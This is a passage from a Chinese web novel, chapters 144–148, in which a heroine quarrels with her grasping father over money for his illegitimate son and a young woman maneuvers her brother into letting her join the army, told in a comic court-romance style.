很懒撒地往太师椅里一歪栽,把腿也缩到了椅子里,身子佝偻着,再用披风把自己裹成一团,这样疼痛能舒缓一些。 她掀起眼睑看着她的生物爹,等着他开口。 苏怀仁丝毫也没关心女儿为何脸色惨白,头发也没梳,只当她是刚刚睡醒才这般不修边幅,自顾自地就开始讲他的事情, “苡安啊,爹爹听说,皇上正在为小殿下选先生。 爹爹我是探花郎出身,学富五车,还是小殿下未来的外公,我觉得,这个位置爹爹可以争一争。” 苏苡安闻言,稍稍敛了敛见到老登的不悦脸色。 起码,这次老登是为了找差事走后门,比打秋风强一丢丢。 其实,苏怀仁打心底是不愿意做小皇孙的先生的,镇北王的儿子,教好教坏事情可大了,他怕那煞神会找他麻烦,他惹不起。 可是,昨日,他的好大儿,跟他一哭二闹三上吊,要一大笔钱娶媳妇。 他若不给,他的长子就要吊死自己,让他白发人送黑发人。 他今日才不得不屈尊到此处,只要自己做上了小皇孙的先生,这又赶上快过年了,镇北王府给他的年节礼品肯定不会少,这笔钱就有着落了。 彼时,苏苡安把下巴抵靠在膝盖上,神思倦怠地看着她的生物爹,还真的认真考虑上了: 若是别的先生教晏儿,晏儿说不定还要挨戒尺,若是换成了生物爹,他绝对不敢打孩子。 而且,到时候学之乎者也,还可以三天打鱼两天晒网,那样的话,晏儿还是由我亲自教,好像还挺不错的…… 苏苡安认真思考不说话的样子,让苏怀仁觉得有门了,就开始诉苦, “爹爹知道这事情你也为难,毕竟,你还没进镇北王府,就要插手镇北王儿子的事情了,说出去不好听。 可是,爹爹现在也是真的没办法了,你那个……弟弟啊,也到了成婚的年纪了。 爹爹我清水衙门的官,连聘礼都凑不出来,只能想法子多挣钱了。” 苏怀仁自以为聪明地把苏苡安的哥哥,说成了弟弟。 这样既可以避免她知道自己成婚之前就有了外室,而且,通常来说,弟弟也比较容易唤起姐姐的爱护之情。 事实上,他不说这些还好,一说到这,苏苡安刚刚起的那么一点点小心思又被压下去了: 让晏儿知道我有个这么拿不出手的爹,真是太影响我在他心里的光辉形象了。 而且,言传身教这种事情,很重要。 万一哪日,生物爹有外室的事情,被晏儿知道了,他会觉得这样的男人都能做他的先生,养外室生外室子是一件很正常的事情,那不就给孩子带歪了? 思及此,苏苡安立即说道, “爹爹真是太瞧得起我了,给晏儿选先生,是父皇的意思,别说我说不上话了,就算是镇北王,也说不上话。 至于你儿子的聘礼,呵呵,你拿不出聘礼,就找一个不要聘礼的姑娘嘛。 爹爹在外面的名声可是文官清流,拿不出聘礼多正常。 就冲你的好名声,也有的是商贾人家愿意倒贴嫁妆给您做儿媳妇呢。” 苏怀仁愁眉苦脸地说, “我一个朝廷命官的儿子,哪怕是外室子,也不能娶一个不入流的商户之女啊,至少也必须是书香门第。” 苏苡安冷笑道, “爹爹还挺双标的,当初,不是还想把我嫁给商贾巨富老鳏夫吗?怎么轮到自己的儿子就不行了?” 苏怀仁理直气壮道, “那能一样吗?你那时候是啥处境啊?脸坏了还被楚王扫地出门……” 彼时,他想着怎么也得给镇北王点面子,就收住了话茬,哀叹一口, “唉,那些不好的事情都过去了,咱不说那个了。 如今,你弟弟要成亲,要给咱老苏家传宗接代,可是件大事,你可不能不管他啊。 你既然不能帮爹爹谋差事,至少,你得帮你弟弟把聘礼出了,也不用多,五六万两就够了。” 五六万两?他可真好意思要。 他一年的俸禄才一百五十两,还好意思说五六万两不多。 五六万两对于她来说,的确不多,但是,侮辱性太强了,她一个子儿都不会给。 苏苡安现在身子不爽,火气本就很大,又被当成冤大头索钱,耐心瞬间就耗尽了,给他甩了一个眼刀,没好气道, “又不是我生的,我才不管。你自己生的儿子,自己养,跟我有什么关系?走好,不送。” 苏怀仁据理力争, “苡安啊,话可不能这么说。 爹爹可都是为了你,才没有把外室子领回家。也是为了你,这些年,才没有续弦。 要不然,你现在外能有这么好的名声,这么清白的家世吗? 你没有文官清流唯一的嫡女的身份,能嫁两回皇子吗? 做人可要知道感恩,你怎么能自己过上好日子了,就不管你的娘家人了? 他可是你的亲弟弟!你要看着咱们苏家绝后不成?” 苏苡安听他这些鬼话,只觉得耳朵都脏了,肚子也更疼了。 彼时,她特别想抽他这个不要脸的老登两巴掌,抽掉他满嘴牙,让他以后再也不敢来自己这里打秋风。 可是,转念想想自己现在用的这具身子,是他女儿的,又觉得打他不太好。 万一老天奶弄错了,把女儿打爹这件事,算在了那个真的苏姑娘头上,让她损了功德,投不了好胎,不就毁了吗? 思及此,苏苡安强行按捺住自己想抽人的巴掌,冷着脸说道, “爹爹愿意找多少外室,娶多少续弦,生多少孩子,都是你的自由,可别说为了我,你都是为了你的清名。 你也别口口声声说有个素昧谋面的男人是我的弟弟,我可不认,哪凉快哪待着去,瞎攀什么关系? 即便苏家绝后了,跟我又有什么关系?” 苏苡安这种装也不装的直白表态,惹得苏怀仁破防, “你怎么能六亲不认呢?这简直就是大逆不道啊! 你们骨子里留着相同的血,打断骨头还连着筋呢! 你也不能飞上枝头了,就不管自己的娘家人了啊!” 彼时,苏苡安的肚子一股股地疼得更厉害了,斗篷覆盖之下的手,把汤婆子往肚子上摁了摁,拧着眉,努力压了压心中的火气, “我今天心情不好,你不想挨骂就快些走人。” 苏怀仁简直不敢相信自己听到的: 她还想骂我? 女儿还敢骂爹? 简直有悖人伦!倒反天罡啊!天理难容啊! 苏怀仁痛心疾首,颤抖嘶吼道, “苏苡安!你这个忤逆不孝的东西! 你真以为你和镇北王定了亲,就可以为所欲为了吗? 今上最重孝悌,你竟然辱骂自己的生父,我要去御前参你一本大不孝之罪!” 第144章 老子今天必须要真实他! 苏苡安满脸不屑, “威胁我,你没事儿吧?老子可不是被吓大的。 你爱上哪里告,就上哪里告,不要在我眼前说那些话来恶心我,想吐你一脸!” “你!你!” 苏怀仁气得浑身发抖, “本来我还能拿出你弟弟的聘礼,就因为你这个不争气的东西成了两次亲,嫁妆把家里都搬空了! 现在,你亲弟弟没钱娶不上媳妇,苏家要绝后了,我走投无路了,找你某一个差事而已,你帮不上忙就算了,还如此辱骂你的父亲! 你这种忤逆不孝,天理难容的东西,不配嫁入皇家!” 苏苡安连翻两个白眼,她笃定这老登最舍不得的是他的文官清流的好名声,现下,是一点都不准备给他留情面了。 老子今天必须要真实他!出一口恶气! “老登,你要点脸吧,苏府那些家当,哪一样不是我娘的嫁妆?我娘的嫁妆都是我的,我拿走是应该的。 你个软饭男,软饭硬吃还有理了? 但凡你有点血性也不会找嫁出去的女儿要钱给自己的外室子出聘礼。 男人的脸面都让你丢尽了! 你这种人渣,就应该绝后,根本就没有延续血脉的必要,生出来也是祸害!” “你!你!你!” 苏怀仁第一人被人指着鼻子骂这么狠,破大防了,面部红温,你了半晌才把舌头捋直, “苏苡安!我要告发你!跟你鱼死网破!谁都别想好了! 我无非就是养外室,又不犯法,顶多以后好名声没了。 你辱骂生父,忤逆不孝,六亲不认,德行有亏! 看你还怎么嫁给镇北王? 你要完了!你这辈子都要完了!” 苏苡安肚子疼得厉害,也懒得再跟他开口了,多看他一眼都嫌脏,没好气儿道, “你滚去告吧!” 苏怀仁骇然,他是真没想到,她连这种身败名裂的威胁都不吃,怕真是脑子完全坏掉了。 可是,被骂成这样了,他也没脸在这里待下去了,只能转身走人。 正巧,镇北王迈着大步往这边走。 刚刚,铁柱在门外听着主子和苏大人吵得厉害,实在不放心,怕自家主子吃亏,就赶忙去请了镇北王来解围。 苏怀仁一见镇北王,马上就老泪纵横,跪地哭喊道, “镇北王啊,不得了了,女儿辱骂亲爹啊,要反天了! 这样的大逆不道之女,是万万不能嫁给你的。 臣有罪,把女儿教成这样,求镇北王责罚。” 萧北铭径直略过他,走到了苏苡安的近前,拍了拍她的肩膀,用眼神告诉她: 交给我。 而后,又才到一旁落座,冷眼看向跪地的苏怀仁。 彼时,萧北铭神色平静,内心却已经在骂苏怀仁了: 这个狗东西,竟然趁着苡安最虚弱的时候来找她麻烦,还想去告御状,搅和黄了我们的婚事。 这笔账先记下了,等着以后再找他算! 萧北铭压了压心中的不悦,沉声发问, “安康郡主最是个好性子,苏大人今日做了什么,把她惹成这样了?” 苏怀仁在地上膝行,调转方向磕头, “王爷明鉴,臣就告诉她我有个外室子,到了当婚的年纪,她就气得开口骂爹,简直就是大逆不道,天理难容啊。” 萧北铭了解苏苡安的,跟她提什么都行,就是不能提钱,这老东西,大概是找她要钱养儿子了。 他忍着恶心端出了一个好态度,问, “你儿子多大了,在哪里当差?” 苏怀仁怔愣了一下,为他整日就知道吃喝玩乐的长子,快速想了一个很好的说辞,抹了一下老泪, “回王爷的话,我儿子,今年十八岁,目前在家日夜苦读,准备科考。” 萧北铭语重心长道, “才十八岁,还不用着急成婚,大丈夫,就应该先立业在成家。 有了家眷,就无法全心备考了,不如,婚事暂缓,等来年科举之后再说。 能榜上有名固然好,若不幸落榜的话,我镇北军还缺一个摇笔杆子的军需官。” 苏怀仁立即转悲为喜。 他那寄予厚望的长子,三岁能成诗,十三岁就考了个秀才,可是,自从认识了一堆狐朋狗友,就整日吃喝玩乐,再也止步不前了,科举毫无指望。 至于其他的儿子,还不及长子,没有一个能念书的,这也是他没有把那些外室子带回府里的原因。 如今,镇北王肯给长子一个军需官的差事,这可是天大的好事。 军需官掌管粮饷,那可是一顶一的肥差。 就算考个状元,将来也没这么好的差事啊! 苏怀仁连连磕头谢恩,“多谢王爷指点,多谢王爷提携,臣替犬子,谢过王爷。” 萧北铭面色不怒自威,“本王只有一个要求,苏大人,以后不能再惹安康郡主生气了。” 苏怀仁连连点头, “不会了,绝对不会了,苡安心智不全的嘛,我当爹的,就应该处处让着她,她说什么,我都应该包容才对。” “退下吧。” “是。” 苏怀仁感恩戴德,站起来倒着走了两步,才退下。 萧北铭也算是松了一口气,起身过去,把苏苡安抱起来, “回床上休息,不要着凉了。” 苏苡安环着萧北铭的脖颈,一脸疑惑地发问,“你还真要把军需官的位置给他儿子?” 萧北铭漆黑的眸子闪出了几分狡黠, “那怎么可能呢?我的镇北军,从来不养废物。先稳住你爹,等明年咱们大婚之后再说。” 苏苡安会心一笑, “那就好,要是你真的受了那糟老头的威胁,我可真真是瞧不起你。” 萧北铭垂眸看她的目光倏尔变得严肃了起来, “你就是再生气,也不可以骂你爹。 父皇最重孝悌,苏怀仁的若是豁出去自己的名声不要了,到御前一哭,咱们的婚事可真要悬了。” “哼!” 苏苡安冷哼了一声,“你别听他危言耸听,他才不敢跟我鱼死网破呢。 我今天不真实他,怕是要气到乳腺结节。” 萧北铭真心没听懂,“什么?” 苏苡安笑笑, “我的意思是,我今天不揭露他虚假和伪善的真面目,不把他骂个狗血淋头,我就要憋出心病了。” 第145章 你可不能拿咱们的婚事去赌啊 萧北铭蹙眉,深邃的眸子里满是破碎感, “他若是去父皇面前哭,一个孝字就能压死你,父皇撤销了咱们的赐婚怎么办? 无论如何,你都不能拿咱们的婚事去跟他赌啊,你是想要我的命吗? 以后,你爹再来找你,你就打发他去找我,我处理就好。” 他的语气,没有责备,只有深深的担忧。 苏苡安抿唇露出一抹笑容: 这还是杀伐果断的战神吗?竟然会被苏怀仁那个东西几句话拿捏住。 唉,他也是太紧张我们的婚事了,关心则乱,我这个时候嘲笑他就太不是人了。 我得接受他这份好意,领他这份情。 苏苡安环着他脖颈的手臂紧了紧,让自己的脸和他的胸口贴得更近了, “人家知错了,以后不敢再这么冲动了,做什么事之前,都得为咱们的将来考虑考虑。” 这话,对萧北铭无比受用。 她肯听劝就好。 萧北铭把苏苡安又放回了被窝,替她盖好了被子。 苏苡安觉得自己今日不能白白生这一场气,要发挥一下教育意义才好。 她状似有感而发, “其实,我爹找我要的钱不多,我漏漏指缝就够了。 但是,自小他就对我不好,把我一个人扔道观,不管不顾,让我吃尽了苦头,我从来没有体会过来自父亲的关爱。 如今,我本事了,他可别想从我这里得到半点好处,我不弄他就不错了。” 萧北铭自然明白她说这话的意思,是想暗示他对那小东西好一点,他也不想在她难受的时候再给她添堵,就说, “你睡觉吧,我去教小东西武功,午膳的时候,再回来叫你。” 他接受了她的暗示,她自然回之以甜笑, “嗯,好。” 他们父子关系,又近了一步,苏苡安觉得,自己痛经都减轻了不少。 下午,苏苡安准备出门之前,萧北铭亲自给她梳头发。 自从在猎场跟萧佩玖学了几个发髻,萧北铭回来还举一反三出了许多新发式,以至于苏苡安觉得,他若是不做将军,也是个顶尖的托尼。 真是应了那句话: 优秀的人,干什么都优秀。 萧北铭一边站在身后给她梳着头发,一边看镜子里的她,只见她拿着小刷子,小毛笔,沾着各色胭脂水粉,无比熟稔地在自己的脸上扫动,好似在作画。 不多时,一张原本带着病容的苍白脸颊,就被她画得容光焕发,神采奕奕。 萧北铭感慨道,“你还有这本事呢。” 苏苡安勾唇一笑,大气的五官明艳照人, “难道这个时候,你不应该夸我很漂亮吗?” 萧北铭双眸脉脉,温润吐声, “不化妆也很漂亮啊,清清淡淡的你就已经是人间绝色了。” 苏苡安微笑着竖起了大拇指, “今日情话大王依旧稳定发挥,会说,多说,我爱听,我长耳朵,就是为了听你说这个。” 萧北铭神色温柔,满眼宠溺地和铜镜里的她对视, “荣幸之至。” 梳妆完毕,萧北铭把苏苡安和萧晏送上马车,自己就回了镇北王府。 萧北铭招呼乌二来了书房,先过问了他妹妹的事。 “听说,你妹妹是个街溜子,整日惹事是非?” 乌二悻悻地挠挠头,有些难为情, “我家老幺那点名声,都传到您耳朵里去了啊……” 萧北铭一脸威严,“管管她,免得惹出来什么大祸事,连累到乌家。” 乌二郑重点头,“王爷放心,我娘天天揍她,她顶多只敢小打小闹,不敢惹大麻烦的。” 萧北铭眉心微皱,“天天挨揍,她还敢带着人当街围殴朝廷命官?” 乌二瞪圆了原本不大的眼睛, “啊?竟有此事,她打了谁啊?” 萧北铭叹了口气,“还好那个人是裴思远,要不然,乌家满门现在都被她连累了。” 乌二愤愤咬牙,摩拳擦掌, “看来,是我娘揍她揍得轻了,我得亲自回家揍一趟了!” 萧北铭深表赞同, “给你三日假,好好管一管,他们两个小东西再打,就要打出感情来了。” 乌二张大了嘴, “还能打出感情?裴少将军的口味那么独特吗? 我妹妹可是上京城里出了名的没人要啊,人人避之而不及呢,都没有媒婆敢上门提亲。 我爹娘都准备养她一辈子了,我也做好养她一辈子的准备了。” 萧北铭倒是觉得有点意外了,辅国将军的嫡女,怎么能不受待见成这样啊! “我记得,你妹妹小时候,还蛮乖的,现在怎么那样不堪了?” 乌二说到此事,满脸愁容, “我也不太清楚老幺是怎么长歪的,我这些年都在北疆嘛,家里的事情,也没太关注。 只是书信里爹娘每每抱怨老幺淘气,我也没怎么往心里去。 心想,一个小姑娘淘气,能淘到哪里去?无非就是撸猫逗狗,最顶天就是上房揭瓦。 谁知道,我去年回来的时候,她就有上京城第一女纨绔的名号了,我爹娘根本管不住她,真是家门不幸啊。” 萧北铭感觉到了事情的严重性,沉思片刻,给出了个主意, “实在不行,找个风水先生,迁一迁祖坟吧。” 乌二若有所思地点点头,“是个办法诶,我这就回去跟我爹商量。” 萧北铭又道,“再顺便查查苏怀仁的外室子。” 乌二再次震惊, “苏大人还有外室子啊?我的天呐,他可真是闷声干大事,从前,倒是把他给忽略了……” 乌二提了一根军棍上马,火急火燎地往家里赶。 路上,正好看见他妹妹乌三在当街殴打一个壮汉,骑在壮汉身上,把壮汉揍得哭天抢地。 乌三的一群跟班,还在嘻嘻哈哈地拍手叫好。 那些人,基本都是官宦人家不成器的公子哥,整日游手好闲的一群纨绔。 乌二见状,都要气死了,手里的军棍一甩,驱散了人群,而后,二话不说就把他妹妹提上了马,横搭在马背上,扬长而去。 乌三可气坏了,大吼道, “哥!你放我下来!我的兄弟们都看着呢,我不要面子吗?” 乌二更气,但是,嫌弃大庭广众之下大声叫嚷太丢人了,就压着声音教训她, “你当街殴打老百姓,我和爹不要面子的吗?乌家的名声,都让你败坏了。” 第146章 女子为何不能从军? 乌三奋力地挣脱了乌二的控制,在马背上跨坐了起来,吼得更大声了, “我又没有殴打好人! 刚刚那个坏东西,是个小偷,当街偷寡妇的钱袋子,被我逮个正着。 那可是寡妇卖了房子给她孩子的治病钱,我打他有什么问题?!” 乌二恼道, “小偷小摸自由官府处置,你想伸张正义,把他送官就好了,怎么能动用私刑?” 乌三愤愤回怼, “送官府有什么用?他那种是惯犯,关两三年就放出来,照样偷,还不知道要害死多少人呢! 我把他打双手打废了,让他再也不能行窃,才是真正的为民除害。” 乌三说的这个理由,还真让乌二一时间无法反驳,只能撂下一句, “你闭嘴,大街上吵吵嚷嚷的成何体统,回家再收拾你!” 乌三自然不会任由哥哥收拾,回到了辅国将军府,下马撒丫子就跑了。 乌二拎着军棍在后面追, “你别跑!到处惹是生非,丢人现眼,看我今天不打断你的腿!” 乌二自然也不是真的想揍妹妹,就是想震慑她一下,因此就比比划划地跟在身后撵,实际上,一下都没打着。 只能听见军棍呼呼破风的声响,起到一个烘托紧张氛围的作用。 乌二一直把妹妹撵进了祠堂,才真的用军棍戳到了她的腿弯,让她跪在了列祖列宗的牌位前,严厉道, “父亲几经生死,一锤一锤捶来的军功,可不是让你这么胡闹造作的!你好好反思一下!” 乌三一脸不服不忿,冲上方的牌位抱拳, “列祖列宗在上,我为民除害,无错也无悔,更无愧于心,出了什么事,我自己去蹲大牢,绝对不连累家里,没什么好反思的。” 乌二气得扬起了蒲扇大的巴掌。 乌三不躲不闪,还把自己的脸蛋往上凑,一脸不知死活的无赖相, “来呀,来呀,往这里打,你就是给我打成猪头,也阻止不了我为民除害的决心。” “哎呀!” 乌二哀叹一口,懊丧地把巴掌拍到了自己的大腿上。 他真是拿这个滚刀肉妹妹没办法,只能陪跪在旁边,给列祖列宗请罪,一个铁血硬汉,硬生生憋屈到眼冒泪花,声音哽咽, “家门不幸啊,是该迁坟改变一下风水了。” 乌三一听兄长竟然要为了她迁祖坟,内心终于有所触动, “倒也不关老祖宗的事,哥哥还是不要打扰各位老祖宗的清静了。 我给你出个主意,你把我送北疆从军去,我就不在上京城做街溜子了,就不会惹事连累家里了。” 乌二怒目瞪着这个混不吝的, “你这个脑子,一天天的在胡思乱想什么?女子如何从军?” 乌三一脸不服气, “女子为何不能从军? 这些年,你们镇北军在北疆,不就是被北幽的护国公主打得哭爹喊娘吗?” 乌三这话,可是捅了乌二的心窝子, “什么哭爹喊娘?你上哪里听来的胡话? 我们是赢多输少! 那北幽公主的玄铁营有多少人,我们镇北军才几个人? 王爷能带着我们以少胜多,让北幽铁骑没能踏足我南离半寸疆土,不知道有多厉害呢!” 乌三一脸挖苦笑,嘲讽意味十足, “哼哼,一群老爷们和一个女子打仗,打了十年都没有给人家致命一击,连反攻都做不到,还好意思吹上了? 我看,北幽的那个护国公主就是专门克你们这群汉子,北幽大军若都换成娘子军,你们会输得更惨。” 乌二真真是生气了,满脸怒火, “你怎么能长他人志气,灭自己威风? 你这混账话若是传出去,不得给你扣个叛国罪,你想害死咱们乌家满门吗?” 乌三满不在乎道, “我又没有出去说,再说,我只是就事论事而已。 为什么北幽的公主都可以做军中主帅,我们南离的女子连从军都不行?” 乌二想起那个让他们镇北军吃尽了苦头的北幽护国公主就来气。 但是,此时此刻,也耐着性子,好言好语地给妹妹摆事实,讲道理, “那是因为北幽皇继位之时年幼,才六岁。 北幽的太后和长公主不得不站出来为幼帝保驾护航,对抗他们的摄政王。 如今,北幽帝长大了,北幽的护国公主不就回朝了吗? 咱们南离,有的是好儿郎,用不着你一个女子上战场!” 乌三撇撇嘴, “依我看,那北幽的护国公主,不是功成身退回朝了,而是兔死狗烹,鸟尽弓藏了。 北幽皇已经不是孩子了,还怎么还能容忍兵权掌握在他的皇姐手里? 就像你,不让我从军,就是怕我有朝一日,在战场上的功绩超越了你,盖住你的锋芒,你丢不起这个脸,才死命地打压我。” 乌二白了她一眼,没好气儿道, “你闭嘴吧你!胡思乱想什么?我害怕你超越我? 但凡你喝酒的时候吃两粒花生米,也不至于醉成这样。” 乌三冷冷一笑,回敬了兄长一个大白眼, “呵呵,其实,我不仅瞧不上你,也瞧不上你们镇北王。 竟然被一个公主压制了十年,还好意思说自己是什么南离战神。 而今,人家公主都销声匿迹好几年了,余威还压制得你们镇北军没打过一场进攻仗,真是窝囊!” 乌二闻言,气得胸闷气短,脑袋瓜嗡嗡作响, “你在胡说八道什么?明明是前几年,我们王爷病重,朝廷的粮饷又全支援南疆了,我们镇北军才无法全面反扑的! 当下最大的祸患是南疆,等解决了南疆的问题,总有一天,我们镇北军是要带兵攻入北幽皇城的!” 乌三一脸鄙夷, “你就给你们王爷挽尊吧。 什么病重?我逛街的时候,看见过他许多次了,带着安康郡主和孩子逛街,气色好得不得了。 再说,镇北王可是皇上的亲儿子,皇上怎么会短了他粮饷? 你少忽悠我,我又不是三岁小孩。 一个满眼都是女人的男人,能干出来什么大事业来? 况且,安康郡主那么漂亮,肯定会把他掏空的。 我看,你们的战神以后是上不去战马,提不起长剑喽,永远都要活在北幽护国公主的阴影之下了。” 第147章 军职险中求,聪慧如我! “你啊!你啊!你这个混蛋啊!快闭嘴吧!这些话传到王爷的耳朵里,我可救不了你!” 乌二气得五内俱焚,双眸淬火。 但是,也没办法跟妹妹详说王爷中热毒的事情,又不能真的动手打她,只能咬着后槽牙,发狠地捶自己的大腿。 一向情绪稳定的乌二,活生生被自己的亲妹妹逼成了暴躁狂, “啊!啊!家里怎么出了你这个祸害啊!” 乌三看兄长这副生愤怒不能自已的样子就高兴,晃着肩膀,继续火上浇油, “我又不是傻子,不会到外面说这些话的,你气恼什么? 再说,即便我要投军,我也投镇南军啊,我可瞧不上你们镇北军,太怂了。 兵怂怂一个,将怂怂一窝,我可不想从此变成怂包。” 乌二气得额头青筋直跳,感觉自己都要气炸了,指着她的鼻子,怒吼, “老幺!你若是敢和镇南军扯上关系,我就打断你的双腿,让你再也出不了门!” 乌三一副死猪不怕开水烫的模样, “打断就打断,我会倒立行走。” “啊啊啊!” 乌二气得又爆锤了自己一顿,终于冷静下来了。 彼时,他终于知道,话都说这份上了,讲道理,是束缚不了他这个混不吝的妹妹了。 而且,就她这口条,再留在家里,怕是要给爹娘气得减寿。 她什么话都敢往外说,留在上京城,也是个大隐患。 而且,没准哪天犯轴,她就改名换姓,偷偷跑去南疆从军了。 到那时候,落到皇上眼里,就是辅国将军府和镇南大将军勾结…… 万一她再和裴思远好上,那可就真完了。 乌家所有人,包括镇北王,还有外祖父一家,姐夫一家,都要被她这个祸害连累了。 趁着现在她还没有儿女情长的心思,且,北疆短时间内也不会有战事…… 思及此,乌二咬了咬牙,心一横, “既然你这么想从军,等明年镇北王大婚以后,我送你去北疆,做个十夫长,看看你能带出什么样的兵。” 乌三眼睛一亮,“真的,你没骗我吧?” 乌二郑重道,“我不骗你,安排一个十夫长,我说话还是算的。” 乌三撇嘴,满目质疑,“那干嘛要等镇北王大婚,我现在就可以去北疆。” 乌二眼里又多了关怀的柔情,语重心长道, “马上就要过年了,你在家陪爹娘过完了这个年再走。 北疆山高路远,说不定以后五六年都回不来一次。 最主要的,你是我妹妹,必须要参加镇北王的大婚典礼。 要不然,到时候镇北王府一个女傧相都没有,外人看见像什么样子。” 乌三听兄长说得这么真诚,笑容绽放, “不就是做女傧相嘛,这活儿我保证给你干得妥妥的。” 乌二严肃脸, “乌三,从即刻开始,你就是镇北军的十夫长了。 每日要在府里背军规,勤练杀敌武功,不许再出门了。 我若是听说你还在和那群纨绔厮混,我撤你的职,军法处置!” “得令!” 乌三都要开心死了, “我这就回院子磨刀,我有一百多把刀剑呢,一天磨一把,都磨好了,出发的日子也就到了。 我现在是上阵杀敌,保家卫国的十夫长了,哪里还有闲工夫出门做街溜子啊,你用棍子抽我,我都不出去了。” 乌三一溜烟,开开心心从祠堂跑出去了,喜笑颜开地敲了一个响指: 搞定! 军职险中求,聪慧如我! 与此同时,乌二也松了一口气: 总算暂时把这混不吝的祸害给安抚住了。 等她到了北疆,就安排她去火头营做饭! 再安排十个伙头兵归她管,可别说我骗她。 乌二拿起军棍,准备去找父亲汇报此事,也好让他放宽心,好好过个安生年。 岂不料,人刚刚走出祠堂,他爹就往这边来,一手还拎着一个大铁锤。 辅国将军乌壮壮,离着大老远的距离,就冲自己的儿子喊开了, “臭小子!你还敢回来!老子跟没跟你说,不带个媳妇回来,就不许进家门了!” 乌二见自己老爹还在气上次自己拒婚的事情,连连往后退, “爹,你先别生气,我现在要跟你说一件很重要的事……” 乌壮壮立即打断了他的话, “还有比传宗接代更重要的事情吗?老子就生了你一个独苗苗,你竟然让老子抱不上孙子。 老子今天就一锤捶死你,一了百了,省着看你就来气!” 乌壮壮说着话,抡着双锤就冲过来了! 硕大如山的身躯,完美地诠释了什么叫人高马大,力壮如牛,跑起来地面都在颤! 乌二吓得眼眸放大了一圈。 他爹这双铁捶,那可不是闹着玩的,万一被擦一下,非死即残。 乌二见状不妙,脚下赶紧调转方向, “爹!你莫要那么大气性啊,生气伤身啊!” “你想让我顺气,怎么就不让我抱孙子呢?别人都有孙子,就我没有,我都没脸出门见人了。” 乌二不劝还好,一劝,他爹的火气就更大,跑得就更快了,脚下生风,一点也看不出是个年近花甲的老爷子。 乌二感觉到身后的杀气甚浓,今日自己若不跑掉,定是要挨一顿毒打,于是就翻墙跑掉了。 刚刚翻越了辅国将军府的高墙,只听背后轰隆一声巨响。 乌二回头一看,只见院墙被老爹捶出了一个洞。 看着老爹如此老当益壮,他也就放心了: 看来,不抱孙子,一点都不影响他的身体健康。 乌二离开辅国将军府,来到了万事阁。 他私心觉得,苏怀仁既然有外室子,那肯定不止一个,要查查清楚才好。 万事阁的阁主手里本就握着苏怀仁的所有的消息。 若是换做旁人来买消息,他定会为了要高价,故弄玄虚,告诉客人几日后再来取消息。 可是,阁主知道眼前这位爷是什么来头,他不敢忽悠,当场一手交钱,一手交消息,且只敢收五两银子。 乌二觉得消息来这么容易,还这么便宜,有点不靠谱,就当场打开看。 而后,表情比刚刚在祠堂还震惊, “这,这消息保真吗?” 万事阁阁主泰然自若: “有一字不实,您尽管来砸我的招牌。” 乌二内心呼了一声夭寿的,就往回镇北王府复命。 萧北铭看到黑纸白字上写着苏怀仁四十三个子女,有名有姓,年龄几何,家住何处,品行爱好,写得一清二楚。 萧北铭看了也是两眼一黑的程度, “知道他苏怀仁不是个东西,没想到,这么不是个东西啊。 他要是为了这些一个比一个不成器的外室子,隔三岔五地来找我,我也扛不住啊。” 乌二倏尔灵光一闪, “王爷,我有个挺损的办法,只是,不知道郡主会不会介意。” 第148章 人家才四岁,哪里就会说谎了? 萧北铭眼中透着鄙夷,看向乌二, “那些外室子,定是靠着苏夫人丰厚的陪嫁才能过上优渥的生活。 他们只不过是和苡安有血缘关系的仇人罢了,她能介意什么?” “嘿嘿。” 有了王爷的首肯,乌二就放心了,只是,一想到他要冒的坏水,先把他自己逗笑了, “找个由头,把那些男丁都送去北疆从军吧?再让我妹妹做他们的十夫长。 恶人自有恶人磨,不管他们那些人有多纨绔,我妹妹肯定把他们收拾得服服帖帖的。” 萧北铭讶异道,“送你妹妹去北疆从军?辅国将军和夫人,岂能同意?” 乌二又露出了愁容,“唉,二老不同意也没得选了,要不然,任由乌三在上京胡闹,早晚要闹出大事的。” 萧北铭点头,“那此事交给你去办。” “得令。” 再说萧晏,今日他交朋友的计划,遇到了极大的困难。 魏严小公子,不要他送的纸风车,也不跟他玩撒签儿的游戏,而是以一副小大人的神态,郑重其事地跟他说话, “无功不受禄,我不能收小殿下的礼物,而且,我昨日为了陪小殿下玩,已经耽误太多功课了,今日,恕我不能再奉陪了。” 萧晏怔愣一下,他也是没想到,这小孩儿怎么比大人还难对付。 他立即颔首,酝酿了一些哀伤的情绪,嘟起了小嘴,满眼委屈, “你可是我第一个朋友,我昨晚回家为了给你做这个纸风车,熬了大半宿,还被剪刀划伤了手。” 彼时,萧晏再抬头,双眸已是水雾朦胧,还抬起昨夜被竹签划到的小手给他看,声音哽咽, “你是不是有许多朋友,不稀罕跟我玩啊? 可是,我只有你一个朋友,你不陪我玩,我好难过啊,嘤嘤嘤……” 小家伙的情绪已然酝酿到位,眼泪说掉就掉,豆大的泪珠子顺着瓷白的包子脸就往下滚,看起来,要多可怜,有多可怜。 魏小公子自然招架不住,以为是自己把小不点欺负哭了,连忙给他擦眼泪, “你别哭嘛,我再陪你玩一天就是了。” 萧晏泪眼婆娑地望着他,举着纸风车,抽泣道, “我特意给你做的纸风车,你不收吗?你要把我的心意扔地上吗?” 魏严看着眼前比自己矮一个还不止的小不点,私心揣摩着: 祖父不让我收别人的礼物,但是,他才四岁,又是自己亲手做的,收下应该不打紧,要不然,他一直哭可如何是好…… 思及此,魏严就接过了纸风车: “下不为例。” 彼时,萧晏的心里,也在大吐苦水: 这个小孩太难结交了,娘亲怎么给我安排这么难的任务啊…… 可是,想一想自己不能让娘亲失望,小小的老子还得再接再厉,眼睛一眨,又计上心头,问道, “小哥哥,你会写字吗?” “我读书已有四年半了,自然是会的。” 萧晏一脸羡慕加崇拜的小表情, “你好厉害诶,我还不会写字呢,连自己的名字都不会写,你能教教我吗?” “自然可以。” 彼时,魏严暗自松了一口气: 小不点要跟自己学写字,太好了,要不然,他口中那些粗鄙的游戏,他可玩不来。 于是,一下午的时间,魏严都在他的院子里教小不点写字。 萧晏那一手比蚂蚁爬还难看的字,也让魏严相信,他是真的不会写字,一笔一划,教得可认真了。 “小鸡崽子怎么写?” “这样。” “大老虎怎么写?” “这样。” “你见过大老虎吗?” “没见过。” “我家有一只大老虎,可乖可听话了,还能当马骑。” 魏严手中的毛笔顿了顿,扭头看向萧晏,以长者的姿态,端着一脸严肃,说, “你是不是在吹牛?小孩子是不能说谎的,这样不好。” 萧晏笑眯眯,信念感十足地道, “人家才四岁,也就将将能利索地说明白话,哪里就会说谎了? 你若不信,晚上就跟我回家看看,我还可以把大老虎借你骑一骑。” 